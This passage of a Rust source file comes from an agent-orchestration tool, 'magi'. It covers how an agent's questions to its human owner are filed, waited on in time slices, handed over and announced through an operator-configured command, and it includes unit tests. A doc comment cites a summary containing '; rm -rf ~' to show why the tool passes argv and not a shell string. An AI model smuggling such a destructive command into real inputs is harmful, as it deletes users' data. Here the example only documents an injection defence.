1752    /// This call's [`WAIT_SLICE`] ran out with the question still
1753    /// [`QuestionStatus::Open`] and nothing having happened - not the owner
1754    /// going quiet, the clock on *this process* running out. The question is
1755    /// untouched; the caller's move is `magi ask --wait <id>` in a fresh
1756    /// process, so the wait resumes before the shell tool that would have
1757    /// killed this one gets the chance.
1758    Pending,
1759    /// Nobody said anything before the deadline, or the question was closed
1760    /// out from under the wait with no decision recorded - a run deleted out
1761    /// from under it, most often. Either way [`QuestionStatus::Abandoned`] is
1762    /// now on disk.
1763    Abandoned,
1764}
1765
1766/// File a question and wait for the owner, polling the store.
1767///
1768/// The question is updated in place from disk whenever the wait ends, so the
1769/// caller can act on it without re-reading it. `timeout` is the question's
1770/// whole `answer_timeout` budget, but this call spends at most [`WAIT_SLICE`]
1771/// of it - see [`Wait::Pending`] for what happens to the rest.
1772pub async fn ask_and_wait(
1773    q: &mut Question,
1774    store: &Questions,
1775    notify: &config::Notify,
1776    timeout: Duration,
1777) -> Result<Wait> {
1778    wait_for_owner(q, store, notify, timeout, POLL).await
1779}
1780
1781/// Resume a wait already filed, without adding a turn or notifying again.
1782///
1783/// This is `magi ask --wait <id>`'s engine: the process that owned the
1784/// previous slice is dead (the tool that ran it killed it, or it simply
1785/// exited after reporting [`Wait::Pending`]), but the question on disk never
1786/// stopped being open, and the owner was already notified about it once. A
1787/// second notification for the same unanswered question would page the
1788/// owner every [`WAIT_SLICE`] for a question they have already seen - so,
1789/// unlike [`ask_and_wait`], this skips straight to polling.
1790///
1791/// `timeout` is **not** re-armed to a fresh `answer_timeout` here - the
1792/// caller computes it as what remains until [`Question::asked_at`] plus the
1793/// configured `answer_timeout`, so stacking `--wait` calls can only ever use
1794/// up the deadline the first ask set, never push it out further.
1795pub async fn resume_wait(q: &mut Question, store: &Questions, timeout: Duration) -> Result<Wait> {
1796    wait_loop(q, store, timeout, WAIT_SLICE, POLL).await
1797}
1798
1799/// [`ask_and_wait`] with the poll interval injected.
1800///
1801/// Separate only so the tests can drive a whole wait in milliseconds instead of
1802/// sleeping through [`POLL`]; production has exactly one interval, and it is not
1803/// a knob the operator gets to tune.
1804async fn wait_for_owner(
1805    q: &mut Question,
1806    store: &Questions,
1807    cfg: &config::Notify,
1808    timeout: Duration,
1809    poll: Duration,
1810) -> Result<Wait> {
1811    // A question that is already on disk (a `--thread` reply just wrote it under
1812    // the lock) is left alone: this copy may predate an answer or say that
1813    // landed since, and writing it back would erase that.
1814    if !store.path_of(&q.id).is_file() {
1815        store.put(q).context("file the question")?;
1816    }
1817    if q.should_notify(Timestamp::now()) {
1818        if let Err(e) = notify(cfg, q).await {
1819            // A broken webhook is not a reason to throw away an implementation.
1820            // The question is already on disk and the web UI already shows it,
1821            // so the operator still has a way in; only the tap on the shoulder
1822            // is lost.
1823            tracing::warn!(
1824                "could not notify about question {}: {e:#} - the web UI is the \
1825                 only surface for it now",
1826                q.short()
1827            );
1828        }
1829    }
1830    tracing::info!(
1831        "question {} from {} is waiting for you: {}",
1832        q.short(),
1833        q.seat,
1834        q.summary
1835    );
1836    wait_loop(q, store, timeout, WAIT_SLICE, poll).await
1837}
1838
1839/// Take the wait as this process: beat the lease and note it on the record.
1840fn hold(store: &Questions, id: &str) {
1841    store.beat(id, WaiterKind::Asker);
1842    let took = store.update(id, |q| {
1843        if q.status.open() {
1844            q.waiter = Some(Waiter {
1845                kind: WaiterKind::Asker,
1846                since: Timestamp::now(),
1847            });
1848        }
1849        Ok(())
1850    });
1851    if let Err(e) = took {
1852        tracing::debug!("could not note the wait on question {id}: {e:#}");
1853    }
1854}
1855
1856/// Record that the agent has read everything so far, so the daemon waiter does
1857/// not resume a session to tell it what was already printed.
1858///
1859/// Callers must invoke this only **after** the word reached the agent's stdout:
1860/// marking first would let a tool timeout kill the process between the mark
1861/// and the print, and the waiter would then consider a word delivered that no
1862/// agent ever saw.
1863pub fn hand_over(store: &Questions, q: &mut Question) {
1864    let done = store.update(&q.id, |r| {
1865        r.delivered_turns = r.delivered_turns.max(q.thread.len());
1866        if r.status == QuestionStatus::Answered {
1867            r.answer_delivered = true;
1868        }
1869        r.waiter = None;
1870        Ok(())
1871    });
1872    match done {
1873        Ok((fresh, ())) => *q = fresh,
1874        Err(e) => tracing::debug!("could not record the hand-over of {}: {e:#}", q.short()),
1875    }
1876}
1877
1878/// What the agent is shown for an answer: the owner's says it has not read
1879/// yet, in order, then the answer. With no such say it is `answer` itself,
1880/// byte for byte.
1881pub fn answer_for_agent(q: &Question, answer: &str) -> String {
1882    let says = q.undelivered_owner_turns();
1883    if says.is_empty() {
1884        return answer.to_owned();
1885    }
1886    format!(
1887        "the owner also said, before answering:\n\n{}\n\nthe owner answered:\n\n{answer}",
1888        says.join("\n\n")
1889    )
1890}
1891
1892/// Print an answer (with any unread says before it) to `out`, flush, and only
1893/// then record the hand-over. A failed write marks nothing delivered.
1894pub fn deliver_answer(
1895    store: &Questions,
1896    q: &mut Question,
1897    answer: &str,
1898    out: &mut impl std::io::Write,
1899) -> std::io::Result<()> {
1900    writeln!(out, "{}", answer_for_agent(q, answer))?;
1901    out.flush()?;
1902    hand_over(store, q);
1903    Ok(())
1904}
1905
1906/// The polling loop shared by a fresh wait and a resumed one.
1907///
1908/// `timeout` is the budget left before the question's `answer_timeout`
1909/// truly runs out; `slice` bounds how much of that this one call spends
1910/// before handing control back. Landing on `slice` while `timeout` still has
1911/// budget left is [`Wait::Pending`] - the caller's move, not the owner's
1912/// silence. Landing on `timeout` itself - because it was no bigger than
1913/// `slice` to begin with - is the real thing, and abandons the question
1914/// exactly as a single unsliced wait always did.
1915async fn wait_loop(
1916    q: &mut Question,
1917    store: &Questions,
1918    timeout: Duration,
1919    slice: Duration,
1920    poll: Duration,
1921) -> Result<Wait> {
1922    // The owner may already have spoken back before this call ever started -
1923    // most often because they did so in the gap between an earlier call
1924    // reporting `Wait::Pending` and this one picking the wait back up with
1925    // `--wait`. That word must surface at once rather than sit unnoticed
1926    // until some *later* turn happens to change something: this call never
1927    // saw it get added, so nothing below would otherwise recognise it as
1928    // new. `last_word_awaiting_reply` reads the question's own record of
1929    // whose turn it is - see [`Question::waiting_on_agent`] - rather than a
1930    // turn count this call would have to have been there to capture.
1931    if let Some(said) = q.unread_from_owner() {
1932        return Ok(Wait::Replied(said));
1933    }
1934    hold(store, &q.id);
1935
1936    let bounded = timeout.min(slice);
1937    let is_the_real_deadline = bounded >= timeout;
1938    let deadline = tokio::time::Instant::now() + bounded;
1939    loop {
1940        let now = tokio::time::Instant::now();
1941        if now >= deadline {
1942            if !is_the_real_deadline {
1943                // The lease is left to age out on purpose: the caller is about
1944                // to run `magi ask --wait`, and that gap is what LEASE_TTL
1945                // covers.
1946                return Ok(Wait::Pending);
1947            }
1948            let why = format!("no answer within {}s of asking", timeout.as_secs().max(1));
1949            // Re-checked on the record as it is now: the owner may have said
1950            // something in time since the last poll, and that word is handed
1951            // over, not abandoned.
1952            let (fresh, unread) = store
1953                .update(&q.id, |r| {
1954                    let unread = r.unread_from_owner();
1955                    if unread.is_none() {
1956                        r.abandon(&why);
1957                        r.waiter = None;
1958                    }
1959                    Ok(unread)
1960                })
1961                .context("record the abandoned question")?;
1962            *q = fresh;
1963            if let Some(said) = unread {
1964                return Ok(Wait::Replied(said));
1965            }
1966            tracing::warn!(
1967                "question {} went unanswered for {}s; the run parks and the \
1968                 question stays as the record of it",
1969                q.short(),
1970                timeout.as_secs()
1971            );
1972            return Ok(Wait::Abandoned);
1973        }
1974        tokio::time::sleep(poll.min(deadline - now)).await;
1975        store.beat(&q.id, WaiterKind::Asker);
1976        match store.get(&q.id) {
1977            Ok(fresh) if !fresh.status.open() => {
1978                // Whoever answered - the phone, `magi answer`, another daemon -
1979                // owns the record now, so adopt theirs wholesale rather than
1980                // merging into a copy that predates it.
1981                *q = fresh;
1982                return Ok(match q.resolution() {
1983                    Some(a) => Wait::Answered(a),
1984                    // Closed with no decision - abandoned elsewhere, most
1985                    // often by the run behind it being deleted mid-wait.
1986                    None => Wait::Abandoned,
1987                });
1988            }
1989            Ok(fresh) => {
1990                if let Some(said) = fresh.unread_from_owner() {
1991                    *q = fresh;
1992                    return Ok(Wait::Replied(said));
1993                }
1994                // Still open and not waiting on the agent - nothing this
1995                // wait cares about happened, so keep polling.
1996            }
1997            Err(e) => {
1998                // Mid-rename, or a file the operator is editing by hand.
1999                // Neither is a reason to abandon a question a human may still
2000                // answer, so keep polling until the deadline decides.
2001                tracing::debug!("could not re-read question {}: {e:#}", q.short());
2002            }
2003        }
2004    }
2005}
2006
2007/// Run the operator's notification command, if one is configured.
2008///
2009/// The command is argv, never a shell string, and the substitutions below are a
2010/// single pass over each argument: a summary containing `; rm -rf ~` is one
2011/// argument to one program, and a summary containing the characters `{run}` is
2012/// not re-expanded. That property is the reason agent-authored text can be put
2013/// in a notification at all.
2014///
2015/// An error here is reported, not swallowed, so `magi notify --test` can show
2016/// the operator why nothing arrives. The waiting path logs it and carries on.
2017pub async fn notify(cmd: &config::Notify, q: &Question) -> Result<()> {
2018    let mut summary = format!("Question {}: {}", q.short(), q.summary.trim());
2019    if q.status.open() {
2020        summary.push_str(&format!(
2021            " Respond in Questions or with `magi answer {}`.",
2022            q.id
2023        ));
2024    }
2025    let url = question_url(&std::env::var(WEB_URL_ENV).unwrap_or_default());
2026    notify_at(cmd, &q.run, &summary, &url).await
2027}
2028
2029/// [`notify`] for an event that is not a question: the same command, the same
2030/// placeholders, with `summary` and `run` supplied directly.
2031pub async fn notify_text(cmd: &config::Notify, run: &str, summary: &str) -> Result<()> {
2032    let url = view_url(
2033        &std::env::var(WEB_URL_ENV).unwrap_or_default(),
2034        "notifications",
2035    );
2036    notify_at(cmd, run, summary, &url).await
2037}
2038
2039async fn notify_at(cmd: &config::Notify, run: &str, summary: &str, url: &str) -> Result<()> {
2040    let Some((program, args)) = cmd.command.split_first() else {
2041        // No command configured: the web UI is the only surface, by choice.
2042        return Ok(());
2043    };
2044    if url.is_empty() && cmd.command.iter().any(|a| a.contains("{url}")) {
2045        tracing::warn!(
2046            "the notification command uses {{url}} but {WEB_URL_ENV} is unset, \
2047             so the link will be empty - export it next to `magi serve` with \
2048             the address `magi web --open` printed"
2049        );
2050    }
2051    let argv: Vec<String> = args.iter().map(|a| expand(a, run, summary, url)).collect();
2052    tracing::debug!(program = %program, args = ?argv, "notifying");
2053
2054    let mut child = tokio::process::Command::new(program);
2055    child.quiet();
2056    child
2057        .args(&argv)
2058        .stdin(std::process::Stdio::null())
2059        // Killed if the timeout below drops this future: a notification
2060        // command left running would outlive the run it was announcing.
2061        .kill_on_drop(true);
2062    let out = match tokio::time::timeout(NOTIFY_TIMEOUT, child.output()).await {
2063        Ok(r) => r.with_context(|| format!("run notification command `{program}`"))?,
2064        Err(_) => bail!(
2065            "notification command `{program}` did not finish within {}s",
2066            NOTIFY_TIMEOUT.as_secs()
2067        ),
2068    };
2069    if !out.status.success() {
2070        let stderr = String::from_utf8_lossy(&out.stderr);
2071        let why = stderr
2072            .lines()
2073            .rev()
2074            .find(|l| !l.trim().is_empty())
2075            .unwrap_or("no output on stderr")
2076            .trim();
2077        bail!(
2078            "notification command `{program}` exited with {}: {why}",
2079            out.status
2080        );
2081    }
2082    Ok(())
2083}
2084
2085/// Substitute `{summary}`, `{run}` and `{url}` into one argument.
2086///
2087/// One left-to-right pass, so a substituted value is never scanned for further
2088/// placeholders. Agent prose contains braces, and an agent quoting `{summary}`
2089/// in a question must not make the notification recursive.
2090fn expand(template: &str, run: &str, summary: &str, url: &str) -> String {
2091    let table = [("{summary}", summary), ("{run}", run), ("{url}", url)];
2092    let mut out = String::with_capacity(template.len());
2093    let mut rest = template;
2094    while let Some(at) = rest.find('{') {
2095        out.push_str(&rest[..at]);
2096        let tail = &rest[at..];
2097        match table.iter().find(|(token, _)| tail.starts_with(token)) {
2098            Some((token, value)) => {
2099                out.push_str(value);
2100                rest = &tail[token.len()..];
2101            }
2102            None => {
2103                // Not a placeholder magi knows: it is the operator's own text.
2104                out.push('{');
2105                rest = &tail[1..];
2106            }
2107        }
2108    }
2109    out.push_str(rest);
2110    out
2111}
2112
2113/// Point a configured base URL at the view that can answer the question.
2114///
2115/// A notification the operator has to navigate from is a question that stays
2116/// unanswered until morning, so the questions view is appended - unless the
2117/// operator already wrote a fragment, in which case they have said where they
2118/// want to land and magi does not know better.
2119fn question_url(base: &str) -> String {
2120    view_url(base, "questions")
2121}
2122
2123fn view_url(base: &str, view: &str) -> String {
2124    let base = base.trim().trim_end_matches('/');
2125    if base.is_empty() || base.contains('#') {
2126        return base.to_owned();
2127    }
2128    format!("{base}/#/{view}")
2129}
2130
2131/// Assemble a panel's contents in an already-empty directory.
2132///
2133/// Split out so [`Questions::put_panel`] can delete the whole directory on the
2134/// first error without an early `return` skipping that cleanup.
2135fn fill_panel(dir: &Path, html: &str, assets: &[(String, &Path)]) -> Result<()> {
2136    let index = dir.join(PANEL_HTML);
2137    std::fs::write(&index, html).with_context(|| format!("write {}", index.display()))?;
2138    for (name, src) in assets {
2139        let dst = dir.join(name);
2140        std::fs::copy(src, &dst)
2141            .with_context(|| format!("copy {} to {}", src.display(), dst.display()))?;
2142    }
2143    Ok(())
2144}
2145
2146/// Remove a directory and everything under it, treating "not there" as done.
2147///
2148/// A panel is replaced wholesale and dropped idempotently, and in both cases
2149/// the absence of the directory is the desired end state, not an error.
2150fn clear_dir(path: &Path) -> Result<()> {
2151    match std::fs::remove_dir_all(path) {
2152        Ok(()) => Ok(()),
2153        Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(()),
2154        Err(e) => Err(e).with_context(|| format!("remove {}", path.display())),
2155    }
2156}
2157
2158fn read_path(path: &Path) -> Result<Question> {
2159    let body = std::fs::read_to_string(path).with_context(|| format!("read {}", path.display()))?;
2160    let q: Question =
2161        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
2162    if q.schema > SCHEMA {
2163        // Strictly newer, not merely different: every field added since
2164        // schema 1 carries `#[serde(default)]`, so an *older* schema reads
2165        // here as "no thread yet" rather than as garbage. Only a schema this
2166        // build has never heard of is refused.
2167        bail!(
2168            "question {} was written by a newer magi (schema {}, this build \
2169             only speaks up to {SCHEMA})",
2170            q.id,
2171            q.schema
2172        );
2173    }
2174    Ok(q)
2175}
2176
2177/// [`short`] for callers outside this module (a run id shortens the same way).
2178pub fn short_id(id: &str) -> &str {
2179    short(id)
2180}
2181
2182fn short(id: &str) -> &str {
2183    id.split('-').next_back().unwrap_or(id)
2184}
2185
2186fn new_id() -> String {
2187    let stamp = jiff::Zoned::now().strftime("%Y%m%d-%H%M%S");
2188    let seed = crate::rng::entropy();
2189    format!("{stamp}-{:04x}", (seed ^ (seed >> 32)) & 0xffff)
2190}
2191
2192#[cfg(test)]
2193mod tests {
2194    use super::*;
2195
2196    /// A store of its own, with no process-global state - which is the point of
2197    /// `Questions::at`, and why these can run in parallel.
2198    fn store() -> (tempfile::TempDir, Questions) {
2199        let dir = tempfile::tempdir().unwrap();
2200        let s = Questions::at(dir.path().join("questions"));
2201        (dir, s)
2202    }
2203
2204    #[test]
2205    fn run_names_task_only_for_task_questions() {
2206        for (node, want) in [
2207            (crate::conduct::NODE, true),
2208            (crate::triage::NODE, true),
2209            (crate::triage::DEPS_NODE, true),
2210            (crate::land::APPROVAL_NODE, false),
2211            (crate::bump::NOTICE_NODE, false),
2212            ("implement", false),
2213        ] {
2214            let mut q = choice_question();
2215            q.node = node.to_owned();
2216            assert_eq!(q.run_names_task(), want, "{node}");
2217        }
2218    }
2219
2220    #[test]
2221    fn deleting_a_run_stops_its_questions_asking() {
2222        let (_dir, store) = store();
2223
2224        let mut open_one = choice_question();
2225        store.put(&mut open_one).unwrap();
2226        let mut answered = free_question();
2227        answered
2228            .answer(Answer::Text("keep this".to_owned()))
2229            .unwrap();
2230        store.put(&mut answered).unwrap();
2231        let mut elsewhere = choice_question();
2232        elsewhere.run = "20260903-105039-3cbf".to_owned();
2233        store.put(&mut elsewhere).unwrap();
2234
2235        let n = store
2236            .abandon_for_run(&open_one.run, "run was deleted")
2237            .unwrap();
2238        assert_eq!(n, 1, "only the open question of that run");
2239
2240        let back = store.get(&open_one.id).unwrap();
2241        assert!(!back.status.open(), "it no longer asks for a decision");
2242        assert!(
2243            back.detail.contains("run was deleted"),
2244            "the operator can see why: {}",
2245            back.detail
2246        );
2247
2248        let kept = store.get(&answered.id).unwrap();
2249        assert_eq!(
2250            kept.status,
2251            QuestionStatus::Answered,
2252            "an answered question is a decision on record, not something to revoke"
2253        );
2254        assert!(
2255            store.get(&elsewhere.id).unwrap().status.open(),
2256            "another run's question is untouched"
2257        );
2258        assert!(store.open_for(&open_one.run).is_empty());
2259    }
2260
2261    #[test]
2262    fn settle_run_abandons_only_for_a_status_that_is_not_resumable() {
2263        let (_dir, store) = store();
2264        let mut q = choice_question();
2265        store.put(&mut q).unwrap();
2266
2267        // `Blocked` can still be resumed - leave it exactly as it was.
2268        let n = store.settle_run(&q.run, RunStatus::Blocked).unwrap();
2269        assert_eq!(n, 0);
2270        assert!(store.get(&q.id).unwrap().status.open());
2271
2272        // `Failed` is not - abandon it, with the run and its fate in the
2273        // reason so the owner can tell what happened without a run to read.
2274        let n = store.settle_run(&q.run, RunStatus::Failed).unwrap();
2275        assert_eq!(n, 1);
2276        let back = store.get(&q.id).unwrap();
2277        assert!(!back.status.open());
2278        assert!(back.detail.contains(&q.run) && back.detail.contains("failed"));
2279
2280        // A second call against the same, now-settled run finds nothing left.
2281        assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
2282    }
2283
2284    fn choice_question() -> Question {
2285        Question::new(
2286            "20260902-201256-9fb7".to_owned(),
2287            "implement".to_owned(),
2288            "impl-A".to_owned(),
2289            "Which storage backend should the cache use?".to_owned(),
2290            "Both are already dependencies.".to_owned(),
2291            vec!["SQLite".to_owned(), "Redis".to_owned()],
2292        )
2293    }
2294
2295    fn free_question() -> Question {
2296        Question::new(
2297            "20260902-201256-9fb7".to_owned(),
2298            "review".to_owned(),
2299            "rev-1".to_owned(),
2300            "What should the error message say?".to_owned(),
2301            String::new(),
2302            Vec::new(),
2303        )
2304    }
2305
2306    /// No notification, which is the default and what most of these want.
2307    fn quiet() -> config::Notify {
2308        config::Notify::default()
2309    }
2310
2311    #[test]
2312    fn the_stored_json_is_the_shape_the_web_ui_was_written_against() {
2313        // The front end parses these names by hand; there is no shared schema
2314        // and no compiler between the two. A rename here is a UI that shows an
2315        // empty card and reports no error, so the names are asserted literally.
2316        let mut q = choice_question();
2317        q.id = "20260902-231501-ab12".to_owned();
2318        let open: serde_json::Value = serde_json::to_value(&q).unwrap();
2319        // `serde_json::Value` holds an object's keys sorted, and key order
2320        // means nothing to a JSON reader anyway: the field *set* is what the
2321        // front end was written against, so that is what is pinned here.
2322        let keys: Vec<&str> = open
2323            .as_object()
2324            .unwrap()
2325            .keys()
2326            .map(String::as_str)
2327            .collect();
2328        assert_eq!(
2329            keys,
2330            [
2331                "actions",
2332                "answer",
2333                "answer_delivered",
2334                "answer_timeout",
2335                "answered_at",
2336                "asked_at",
2337                "assets",
2338                "choices",
2339                "consult",
2340                "cwd",
2341                "decision_context",
2342                "delivered_turns",
2343                "deputy",
2344                "detail",
2345                "id",
2346                "merge_target",
2347                "node",
2348                "panel",
2349                "run",
2350                "schema",
2351                "seat",
2352                "status",
2353                "summary",
2354                "thread",
2355                "triage_generation",
2356                "waiter",
2357            ],
2358            "the on-disk field set is a contract with the front end"
2359        );
2360        assert_eq!(open["schema"], 12);
2361        assert_eq!(open["merge_target"], serde_json::Value::Null);
2362        assert_eq!(open["triage_generation"], serde_json::Value::Null);
2363        assert_eq!(open["thread"], serde_json::json!([]));
2364        assert_eq!(open["id"], "20260902-231501-ab12");
2365        assert_eq!(open["run"], "20260902-201256-9fb7");
2366        assert_eq!(open["node"], "implement");
2367        assert_eq!(open["seat"], "impl-A");
2368        assert_eq!(open["status"], "open");
2369        assert_eq!(open["choices"], serde_json::json!(["SQLite", "Redis"]));
2370        assert_eq!(open["answered_at"], serde_json::Value::Null);
2371        assert_eq!(open["answer"], serde_json::Value::Null);
2372        let asked = open["asked_at"].as_str().unwrap();
2373        assert!(
2374            asked.ends_with('Z') && asked.contains('T'),
2375            "timestamps are UTC RFC 3339, which is what `new Date()` parses: {asked}"
2376        );
2377
2378        // A chosen option, exactly as the contract spells it.
2379        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2380        let answered = serde_json::to_value(&q).unwrap();
2381        assert_eq!(answered["status"], "answered");
2382        assert_eq!(answered["answer"], serde_json::json!({"choice": "SQLite"}));
2383        assert!(answered["answered_at"].is_string());
2384
2385        // And free text, which is the other of the two forms.
2386        let mut free = free_question();
2387        free.answer(Answer::Text("Say which file it was".to_owned()))
2388            .unwrap();
2389        assert_eq!(
2390            serde_json::to_value(&free).unwrap()["answer"],
2391            serde_json::json!({"text": "Say which file it was"})
2392        );
2393
2394        // And it survives the round trip a reader actually performs.
2395        let body = serde_json::to_string(&q).unwrap();
2396        assert_eq!(serde_json::from_str::<Question>(&body).unwrap(), q);
2397    }
2398
2399    #[test]
2400    fn merge_target_persists_and_schema_10_questions_remain_readable() {
2401        let (_dir, store) = store();
2402        let mut q = approval_question();
2403        q.merge_target = Some(crate::merge_decision::Target {
2404            pr: "https://github.com/example/repo/pull/42".into(),
2405            head: "reviewed-head".into(),
2406            language: "ja".into(),
2407        });
2408        store.put(&mut q).unwrap();
2409        let saved = store.get(&q.id).unwrap();
2410        assert_eq!(saved, q);
2411        let mut body = serde_json::to_value(&saved).unwrap();
2412        assert_eq!(body["schema"], 12);
2413        assert_eq!(
2414            body["merge_target"],
2415            serde_json::json!({
2416                "pr": "https://github.com/example/repo/pull/42",
2417                "head": "reviewed-head",
2418                "language": "ja"
2419            })
2420        );
2421
2422        // Earlier merge/hold cards have no target field. Read the actual
2423        // on-disk shape through the store, including its schema guard.
2424        body["schema"] = serde_json::json!(10);
2425        body.as_object_mut().unwrap().remove("merge_target");
2426        std::fs::write(store.path_of(&q.id), serde_json::to_vec(&body).unwrap()).unwrap();
2427        let legacy = store.get(&q.id).unwrap();
2428        assert_eq!(legacy.schema, 10);
2429        assert!(legacy.merge_target.is_none());
2430        assert_eq!(legacy.choices, q.choices);
2431        assert_eq!(legacy.status, q.status);
2432    }
2433
2434    #[test]
2435    fn an_answer_the_question_never_offered_is_refused_with_its_own_reason() {
2436        // Four different mistakes, four different fixes: the web handler shows
2437        // these strings to the person who made them.
2438        let mut unoffered = choice_question();
2439        let a = unoffered
2440            .answer(Answer::Choice("Postgres".to_owned()))
2441            .unwrap_err()
2442            .to_string();
2443
2444        let mut typed = choice_question();
2445        let b = typed
2446            .answer(Answer::Text("use Postgres".to_owned()))
2447            .unwrap_err()
2448            .to_string();
2449
2450        let mut blank = free_question();
2451        let c = blank
2452            .answer(Answer::Text("   \n".to_owned()))
2453            .unwrap_err()
2454            .to_string();
2455
2456        let mut twice = choice_question();
2457        twice.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2458        let d = twice
2459            .answer(Answer::Choice("Redis".to_owned()))
2460            .unwrap_err()
2461            .to_string();
2462
2463        assert!(a.contains("not one of the choices"), "{a}");
2464        assert!(b.contains("multiple choice"), "{b}");
2465        assert!(c.contains("empty"), "{c}");
2466        assert!(d.contains("already answered"), "{d}");
2467        let mut distinct = vec![a, b, c, d];
2468        let asked = distinct.len();
2469        distinct.sort_unstable();
2470        distinct.dedup();
2471        assert_eq!(distinct.len(), asked, "each rejection is distinguishable");
2472
2473        // The refused ones are still open, so the owner can answer properly.
2474        assert_eq!(unoffered.status, QuestionStatus::Open);
2475        assert_eq!(typed.status, QuestionStatus::Open);
2476        assert_eq!(blank.status, QuestionStatus::Open);
2477        // And the first answer to the double-answered one survived.
2478        assert_eq!(twice.resolution().as_deref(), Some("SQLite"));
2479
2480        // Free text refuses a fabricated choice for the mirror-image reason.
2481        let mut free = free_question();
2482        let e = free
2483            .answer(Answer::Choice("SQLite".to_owned()))
2484            .unwrap_err()
2485            .to_string();
2486        assert!(e.contains("free text"), "{e}");
2487    }
2488
2489    #[test]
2490    fn open_questions_are_listed_before_answered_ones() {
2491        let (_dir, s) = store();
2492        // Ids carry a timestamp, so force a known order: the answered one is
2493        // the newest, and must still sort below the open ones.
2494        let mut old_open = choice_question();
2495        old_open.id = "20260101-000001-aaaa".to_owned();
2496        let mut new_open = choice_question();
2497        new_open.id = "20260101-000002-bbbb".to_owned();
2498        let mut answered = choice_question();
2499        answered.id = "20260101-000003-cccc".to_owned();
2500        answered.answer(Answer::Choice("Redis".to_owned())).unwrap();
2501        for q in [&mut old_open, &mut new_open, &mut answered] {
2502            s.put(q).unwrap();
2503        }
2504
2505        let ids: Vec<String> = s.list().into_iter().map(|q| q.id).collect();
2506        assert_eq!(
2507            ids,
2508            [
2509                "20260101-000002-bbbb",
2510                "20260101-000001-aaaa",
2511                "20260101-000003-cccc"
2512            ],
2513            "what has stopped work comes first; history sorts underneath"
2514        );
2515        assert_eq!(s.count_open(), 2);
2516        assert_eq!(s.open_for("20260902-201256-9fb7").len(), 2);
2517        assert!(s.open_for("some-other-run").is_empty());
2518        // The short id is what the phone and the reports show.
2519        assert_eq!(s.resolve_id("bbbb").unwrap(), "20260101-000002-bbbb");
2520        assert!(s.get("20260101-000002-bbbb").is_ok());
2521        assert!(s.resolve_id("nope").is_err());
2522        assert!(
2523            s.revision() > 0,
2524            "the store's mtime drives the phone's polling"
2525        );
2526    }
2527
2528    #[test]
2529    fn a_question_file_magi_cannot_read_does_not_take_the_listing_down() {
2530        let (_dir, s) = store();
2531        let mut good = choice_question();
2532        s.put(&mut good).unwrap();
2533        // Truncated by a killed writer, and written by a magi from the future.
2534        std::fs::write(s.path_of("20260101-000009-dead"), "{\"schema\": 1, \"id\"").unwrap();
2535        let future = serde_json::json!({
2536            "schema": 99, "id": "20260101-000010-beef", "run": "r", "node": "n",
2537            "seat": "s", "summary": "?", "detail": "", "choices": [],
2538            "status": "open", "asked_at": "2026-01-01T00:00:00Z",
2539            "answered_at": null, "answer": null,
2540        });
2541        std::fs::write(
2542            s.path_of("20260101-000010-beef"),
2543            serde_json::to_string(&future).unwrap(),
2544        )
2545        .unwrap();
2546
2547        let listed = s.list();
2548        assert_eq!(listed.len(), 1, "one bad file must not hide the open one");
2549        assert_eq!(listed[0].id, good.id);
2550        // Asked for by name, the unreadable one explains itself instead.
2551        let e = s.get("20260101-000010-beef").unwrap_err().to_string();
2552        assert!(e.contains("schema"), "{e}");
2553    }
2554
2555    #[tokio::test]
2556    async fn the_wait_returns_the_answer_another_process_wrote() {
2557        // The phone, `magi answer` and this run are three processes with no
2558        // channel between them: the file is the channel, so the wait has to see
2559        // a write it did not make. Sub-second timings keep this a real wait
2560        // without a real one's duration.
2561        let (dir, s) = store();
2562        let mut q = choice_question();
2563        let id = q.id.clone();
2564        let writer = Questions::at(dir.path().join("questions"));
2565        let handle = tokio::spawn(async move {
2566            tokio::time::sleep(Duration::from_millis(30)).await;
2567            let mut fresh = writer.get(&id).expect("the question was filed first");
2568            fresh.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2569            writer.put(&mut fresh).unwrap();
2570        });
2571
2572        let got = wait_for_owner(
2573            &mut q,
2574            &s,
2575            &quiet(),
2576            Duration::from_secs(5),
2577            Duration::from_millis(10),
2578        )
2579        .await
2580        .unwrap();
2581
2582        handle.await.unwrap();
2583        assert_eq!(got, Wait::Answered("SQLite".to_owned()));
2584        assert_eq!(
2585            q.status,
2586            QuestionStatus::Answered,
2587            "the caller's copy is refreshed from the answering process's record"
2588        );
2589        assert!(q.answered_at.is_some());
2590    }
2591
2592    #[tokio::test]
2593    async fn a_question_nobody_answers_is_abandoned_not_deleted() {
2594        let (_dir, s) = store();
2595        let mut q = choice_question();
2596
2597        let got = wait_for_owner(
2598            &mut q,
2599            &s,
2600            &quiet(),
2601            Duration::from_millis(60),
2602            Duration::from_millis(10),
2603        )
2604        .await
2605        .unwrap();
2606
2607        assert_eq!(
2608            got,
2609            Wait::Abandoned,
2610            "a slow human is not an error; the run parks"
2611        );
2612        assert_eq!(q.status, QuestionStatus::Abandoned);
2613        let on_disk = s.get(&q.id).expect("the record of what was asked survives");
2614        assert_eq!(on_disk.status, QuestionStatus::Abandoned);
2615        assert!(
2616            on_disk.detail.contains("Abandoned:"),
2617            "why nobody answered belongs with the question: {}",
2618            on_disk.detail
2619        );
2620        assert!(on_disk.resolution().is_none());
2621        assert_eq!(s.count_open(), 0);
2622    }
2623
2624    #[tokio::test]
2625    async fn a_slice_running_out_leaves_the_question_open_rather_than_abandoning_it() {
2626        // This is the whole point of slicing: `timeout` (the real
2627        // `answer_timeout` budget) is far larger than `slice`, so the loop
2628        // must land on `slice` first and hand back `Pending` - not read the
2629        // silence so far as the owner having given up.
2630        let (_dir, s) = store();
2631        let mut q = choice_question();
2632        s.put(&mut q).unwrap();
2633
2634        let got = wait_loop(
2635            &mut q,
2636            &s,
2637            Duration::from_secs(3600),
2638            Duration::from_millis(30),
2639            Duration::from_millis(10),
2640        )
2641        .await
2642        .unwrap();
2643
2644        assert_eq!(
2645            got,
2646            Wait::Pending,
2647            "the clock on this call ran out, not the owner's patience"
2648        );
2649        assert_eq!(
2650            q.status,
2651            QuestionStatus::Open,
2652            "a slice expiring must never abandon the question"
2653        );
2654        let on_disk = s.get(&q.id).expect("still on disk, still open");
2655        assert_eq!(
2656            on_disk.status,
2657            QuestionStatus::Open,
2658            "nothing about the record changed just because this call gave up"
2659        );
2660    }
2661
2662    #[tokio::test]
2663    async fn a_wait_resumed_after_a_slice_sees_the_answer_the_first_slice_missed() {
